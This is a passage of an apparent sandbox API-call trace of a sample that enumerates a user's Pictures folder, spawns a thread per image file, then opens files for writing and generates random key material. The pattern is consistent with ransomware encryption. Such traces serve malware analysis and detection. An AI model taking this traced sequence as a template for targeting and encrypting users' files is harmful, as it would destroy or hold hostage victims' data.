Flags=0x8, Size=0x250) returned 0x42d850 [0050.868] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\*", lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b655820, ftCreationTime.dwHighDateTime=0x1d4cd8d, ftLastAccessTime.dwLowDateTime=0x73142860, ftLastAccessTime.dwHighDateTime=0x1d4c5f4, ftLastWriteTime.dwLowDateTime=0x73142860, ftLastWriteTime.dwHighDateTime=0x1d4c5f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440660 [0050.868] wcscmp (_String1=".", _String2=".") returned 0 [0050.868] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b655820, ftCreationTime.dwHighDateTime=0x1d4cd8d, ftLastAccessTime.dwLowDateTime=0x73142860, ftLastAccessTime.dwHighDateTime=0x1d4c5f4, ftLastWriteTime.dwLowDateTime=0x73142860, ftLastWriteTime.dwHighDateTime=0x1d4c5f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.868] wcscmp (_String1="..", _String2=".") returned 1 [0050.868] wcscmp (_String1="..", _String2="..") returned 0 [0050.868] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97faf290, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x674bc0c0, ftLastAccessTime.dwHighDateTime=0x1d4d435, ftLastWriteTime.dwLowDateTime=0x674bc0c0, ftLastWriteTime.dwHighDateTime=0x1d4d435, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="13eo", cAlternateFileName="")) returned 1 [0050.868] wcscmp (_String1="13eo", _String2=".") returned 1 [0050.868] wcscmp (_String1="13eo", _String2="..") returned 1 [0050.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c160 [0050.868] wcscpy (in: _Dest=0x43c160, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0050.868] wcscat (in: _Dest=0x43c160, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0050.868] wcscat (in: _Dest=0x43c160, _Source="13eo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" [0057.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43c160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30 [0057.865] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbe49b40, ftCreationTime.dwHighDateTime=0x1d4cb86, ftLastAccessTime.dwLowDateTime=0xc60f480, ftLastAccessTime.dwHighDateTime=0x1d4c5ff, ftLastWriteTime.dwLowDateTime=0xc60f480, ftLastWriteTime.dwHighDateTime=0x1d4c5ff, nFileSizeHigh=0x0, nFileSizeLow=0xbc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="3UnBV.jpg", cAlternateFileName="")) returned 1 [0057.865] wcscmp (_String1="3UnBV.jpg", _String2=".") returned 1 [0057.865] wcscmp (_String1="3UnBV.jpg", _String2="..") returned 1 [0057.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef4c8 [0057.865] wcscpy (in: _Dest=0x4ef4c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.865] wcscat (in: _Dest=0x4ef4c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.865] wcscat (in: _Dest=0x4ef4c8, _Source="3UnBV.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg" [0057.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef4c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54 [0057.867] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a85c5f0, ftCreationTime.dwHighDateTime=0x1d4cf8f, ftLastAccessTime.dwLowDateTime=0xf9f54ac0, ftLastAccessTime.dwHighDateTime=0x1d4ca00, ftLastWriteTime.dwLowDateTime=0xf9f54ac0, ftLastWriteTime.dwHighDateTime=0x1d4ca00, nFileSizeHigh=0x0, nFileSizeLow=0x3787, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfP6hZZ_M6XZKh.bmp", cAlternateFileName="CFP6HZ~1.BMP")) returned 1 [0057.867] wcscmp (_String1="cfP6hZZ_M6XZKh.bmp", _String2=".") returned 1 [0057.867] wcscmp (_String1="cfP6hZZ_M6XZKh.bmp", _String2="..") returned 1 [0057.867] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9f60 [0057.867] wcscpy (in: _Dest=0x96f9f60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.867] wcscat (in: _Dest=0x96f9f60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.867] wcscat (in: _Dest=0x96f9f60, _Source="cfP6hZZ_M6XZKh.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp" [0057.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0057.868] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e9ae40, ftCreationTime.dwHighDateTime=0x1d4cf57, ftLastAccessTime.dwLowDateTime=0x59c287f0, ftLastAccessTime.dwHighDateTime=0x1d4ca5c, ftLastWriteTime.dwLowDateTime=0x59c287f0, ftLastWriteTime.dwHighDateTime=0x1d4ca5c, nFileSizeHigh=0x0, nFileSizeLow=0x2e4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hn80.png", cAlternateFileName="")) returned 1 [0057.868] wcscmp (_String1="Hn80.png", _String2=".") returned 1 [0057.868] wcscmp (_String1="Hn80.png", _String2="..") returned 1 [0057.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4ef270 [0057.868] wcscpy (in: _Dest=0x4ef270, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.868] wcscat (in: _Dest=0x4ef270, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.868] wcscat (in: _Dest=0x4ef270, _Source="Hn80.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png" [0057.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c [0057.869] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f08740, ftCreationTime.dwHighDateTime=0x1d4cb33, ftLastAccessTime.dwLowDateTime=0x1c8232a0, ftLastAccessTime.dwHighDateTime=0x1d4ceee, ftLastWriteTime.dwLowDateTime=0x1c8232a0, ftLastWriteTime.dwHighDateTime=0x1d4ceee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RmVXyVJbQUoR", cAlternateFileName="RMVXYV~1")) returned 1 [0057.869] wcscmp (_String1="RmVXyVJbQUoR", _String2=".") returned 1 [0057.869] wcscmp (_String1="RmVXyVJbQUoR", _String2="..") returned 1 [0057.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e6b8 [0057.869] wcscpy (in: _Dest=0x45e6b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.869] wcscat (in: _Dest=0x45e6b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.869] wcscat (in: _Dest=0x45e6b8, _Source="RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0057.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0057.871] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb11db070, ftCreationTime.dwHighDateTime=0x1d4c59c, ftLastAccessTime.dwLowDateTime=0x9d22e4a0, ftLastAccessTime.dwHighDateTime=0x1d4d285, ftLastWriteTime.dwLowDateTime=0x9d22e4a0, ftLastWriteTime.dwHighDateTime=0x1d4d285, nFileSizeHigh=0x0, nFileSizeLow=0x15ab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sSRSv.png", cAlternateFileName="")) returned 1 [0057.871] wcscmp (_String1="sSRSv.png", _String2=".") returned 1 [0057.871] wcscmp (_String1="sSRSv.png", _String2="..") returned 1 [0057.871] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x437940 [0057.871] wcscpy (in: _Dest=0x437940, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.871] wcscat (in: _Dest=0x437940, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.871] wcscat (in: _Dest=0x437940, _Source="sSRSv.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png" [0057.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x437940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0057.872] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x617fba90, ftCreationTime.dwHighDateTime=0x1d4cb50, ftLastAccessTime.dwLowDateTime=0x4cc65a10, ftLastAccessTime.dwHighDateTime=0x1d4cebf, ftLastWriteTime.dwLowDateTime=0x4cc65a10, ftLastWriteTime.dwHighDateTime=0x1d4cebf, nFileSizeHigh=0x0, nFileSizeLow=0x127f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIb0ttuqY MGf-.jpg", cAlternateFileName="UIB0TT~1.JPG")) returned 1 [0057.872] wcscmp (_String1="UIb0ttuqY MGf-.jpg", _String2=".") returned 1 [0057.872] wcscmp (_String1="UIb0ttuqY MGf-.jpg", _String2="..") returned 1 [0057.872] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9fe8 [0057.872] wcscpy (in: _Dest=0x96f9fe8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.872] wcscat (in: _Dest=0x96f9fe8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.872] wcscat (in: _Dest=0x96f9fe8, _Source="UIb0ttuqY MGf-.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\UIb0ttuqY MGf-.jpg" [0057.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0057.873] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53835220, ftCreationTime.dwHighDateTime=0x1d4cb7e, ftLastAccessTime.dwLowDateTime=0xce073eb0, ftLastAccessTime.dwHighDateTime=0x1d4d28d, ftLastWriteTime.dwLowDateTime=0xce073eb0, ftLastWriteTime.dwHighDateTime=0x1d4d28d, nFileSizeHigh=0x0, nFileSizeLow=0xf7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="vX7c61MVkWRP1gBCphLl.png", cAlternateFileName="VX7C61~1.PNG")) returned 1 [0057.873] wcscmp (_String1="vX7c61MVkWRP1gBCphLl.png", _String2=".") returned 1 [0057.873] wcscmp (_String1="vX7c61MVkWRP1gBCphLl.png", _String2="..") returned 1 [0057.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439100 [0057.873] wcscpy (in: _Dest=0x439100, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.873] wcscat (in: _Dest=0x439100, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.873] wcscat (in: _Dest=0x439100, _Source="vX7c61MVkWRP1gBCphLl.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\vX7c61MVkWRP1gBCphLl.png" [0057.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0057.875] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587c6ff0, ftCreationTime.dwHighDateTime=0x1d4d4bb, ftLastAccessTime.dwLowDateTime=0x2da913b0, ftLastAccessTime.dwHighDateTime=0x1d4ccd6, ftLastWriteTime.dwLowDateTime=0x2da913b0, ftLastWriteTime.dwHighDateTime=0x1d4ccd6, nFileSizeHigh=0x0, nFileSizeLow=0xd133, dwReserved0=0x0, dwReserved1=0x0, cFileName="yP1hZTz0XVaQFG-2.bmp", cAlternateFileName="YP1HZT~1.BMP")) returned 1 [0057.875] wcscmp (_String1="yP1hZTz0XVaQFG-2.bmp", _String2=".") returned 1 [0057.875] wcscmp (_String1="yP1hZTz0XVaQFG-2.bmp", _String2="..") returned 1 [0057.875] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417e90 [0057.875] wcscpy (in: _Dest=0x417e90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.875] wcscat (in: _Dest=0x417e90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.875] wcscat (in: _Dest=0x417e90, _Source="yP1hZTz0XVaQFG-2.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\yP1hZTz0XVaQFG-2.bmp" [0057.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0057.876] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aff2d30, ftCreationTime.dwHighDateTime=0x1d4d4e9, ftLastAccessTime.dwLowDateTime=0x1147d1f0, ftLastAccessTime.dwHighDateTime=0x1d4cf80, ftLastWriteTime.dwLowDateTime=0x1147d1f0, ftLastWriteTime.dwHighDateTime=0x1d4cf80, nFileSizeHigh=0x0, nFileSizeLow=0x10749, dwReserved0=0x0, dwReserved1=0x0, cFileName="zgo6QAGNnsYcUOlJstJ.png", cAlternateFileName="ZGO6QA~1.PNG")) returned 1 [0057.876] wcscmp (_String1="zgo6QAGNnsYcUOlJstJ.png", _String2=".") returned 1 [0057.876] wcscmp (_String1="zgo6QAGNnsYcUOlJstJ.png", _String2="..") returned 1 [0057.876] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x4392c8 [0057.876] wcscpy (in: _Dest=0x4392c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0057.876] wcscat (in: _Dest=0x4392c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0057.876] wcscat (in: _Dest=0x4392c8, _Source="zgo6QAGNnsYcUOlJstJ.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\zgo6QAGNnsYcUOlJstJ.png" [0057.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4392c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0057.877] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aff2d30, ftCreationTime.dwHighDateTime=0x1d4d4e9, ftLastAccessTime.dwLowDateTime=0x1147d1f0, ftLastAccessTime.dwHighDateTime=0x1d4cf80, ftLastWriteTime.dwLowDateTime=0x1147d1f0, ftLastWriteTime.dwHighDateTime=0x1d4cf80, nFileSizeHigh=0x0, nFileSizeLow=0x10749, dwReserved0=0x0, dwReserved1=0x0, cFileName="zgo6QAGNnsYcUOlJstJ.png", cAlternateFileName="ZGO6QA~1.PNG")) returned 0 [0057.877] FindClose (in: hFindFile=0x440660 | out: hFindFile=0x440660) returned 1 [0057.877] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42d850) returned 1 [0057.877] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d528) returned 1 [0057.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445c40) returned 1 Thread: id = 667 os_tid = 0xb74 [0050.869] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jie7jiaoh1or4.jpg")) returned 0x20 [0050.869] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg", dwFileAttributes=0x20) returned 1 [0050.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jiE7JIAOH1Or4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jie7jiaoh1or4.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbbc [0050.869] GetFileSizeEx (in: hFile=0xbbc, lpFileSize=0x1082f7f4 | out: lpFileSize=0x1082f7f4*=66797) returned 1 [0050.869] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x104e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.869] ReadFile (in: hFile=0xbbc, lpBuffer=0x1082f778, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1082f774, lpOverlapped=0x0 | out: lpBuffer=0x1082f778*, lpNumberOfBytesRead=0x1082f774*=0x4, lpOverlapped=0x0) returned 1 [0050.870] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0050.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608f8 [0050.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460920 [0050.870] NtQuerySystemTime (in: CurrentTime=0x1082f754 | out: CurrentTime=0x1082f754*=132174898148484000) returned 0x0 [0050.870] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x4e4df51b [0050.870] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x26124252 [0050.870] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x14e2e737 [0050.870] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x78db0038 [0050.870] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x2f16aaf2 [0050.870] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x6dcf006b [0050.870] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x1f408ae [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0xcb3d13a [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x38ce6520 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x65fc4aee [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0xcad0ec0 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x110652a [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x2399ee03 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x24c5001f [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x447583fc [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x48a27c68 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x1e6281b0 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x3481db45 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x370b7d6a [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x1ae156e8 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x5703a5f6 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0xfb92672 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x64fb4bbd [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x60d89873 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x3e1d525a [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x2323a449 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x32a3c6b [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x3f729977 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x791bf0b8 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x24fe2a95 [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x2be85d1b [0050.871] RtlRandomEx (in: Seed=0x1082f760 | out: Seed=0x1082f760) returned 0x6e4edb50 [0050.883] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.883] ReadFile (in: hFile=0xbbc, lpBuffer=0x12d09960, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1082f734, lpOverlapped=0x0 | out: lpBuffer=0x12d09960*, lpNumberOfBytesRead=0x1082f734*=0xc800, lpOverlapped=0x0) returned 1 [0050.883] SetFilePointerEx (in: hFile=0xbbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bc58 [0050.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed50d0 [0050.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608d0 [0050.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608d0) returned 1 [0050.884] 